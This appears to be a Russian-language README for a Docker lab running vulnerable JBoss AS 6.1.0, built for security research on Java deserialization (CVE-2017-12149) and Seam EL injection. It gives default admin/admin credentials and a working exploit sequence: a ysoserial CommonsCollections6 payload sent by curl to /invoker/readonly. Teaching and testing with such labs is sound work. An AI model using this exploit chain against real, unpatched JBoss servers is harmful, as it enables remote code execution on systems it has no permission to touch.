
Контейнеризованная исследовательская лаборатория JBoss AS 6.1.0 для демонстрации уязвимостей Java Deserialization (CVE-2017-12149) и JBoss Seam EL Injection с предварительно настроенными шагами проверки эксплойта.
Многие критически важные отрасли (банковское дело, здравоохранение, производство) полагаются на устаревшее связующее ПО, которое было создано специально для работы на JBoss 5 или 6. Поскольку такие приложения часто слишком хрупки для миграции на современные версии WildFly (преемника JBoss), организации предпочитают «изолировать» их или прятать за VPN, а не обновлять. Когда периметровая защита пробита, уязвимость по-прежнему остается живой и незакрытой.
Этот репозиторий предоставляет контейнеризованную среду JBoss Application Server 6.1.0, специально настроенную для исследований безопасности и верификации уязвимостей. Она предназначена для демонстрации ошибок десериализации Java и EL-инъекций JBoss Seam.
Чтобы пользовательские учетные данные и конфигурации были применены корректно, соберите контейнер с нуля:
docker-compose build --no-cache
docker-compose up -d
Консоль JBoss: http://localhost:8080/admin-console/
Имя пользователя: admin
Пароль: admin
Подтвержденные уязвимости
Самый надежный путь эксплуатации в этой среде — через HTTPServerILServlet, расположенный по адресу /invoker/readonly.
Шаги верификации:
Сгенерируйте полезную нагрузку с помощью ysoserial для создания файла в /tmp:
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser
Отправьте бинарную нагрузку через curl:
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly
Подтвердите успешность эксплуатации:
docker exec -it jboss-custom-lab ls /tmp/pwned
Предупреждение по безопасности Эта среда намеренно содержит уязвимости. Она использует необновленное, снятое с поддержки программное обеспечение.
НЕ разворачивайте её на публичном сервере.
НЕ используйте эти инструменты в системах, на тестирование которых у вас нет явного разрешения.
Разработано в образовательных целях и для исследований в области безопасности.
Зависимости: https://github.com/frohoff/ysoserial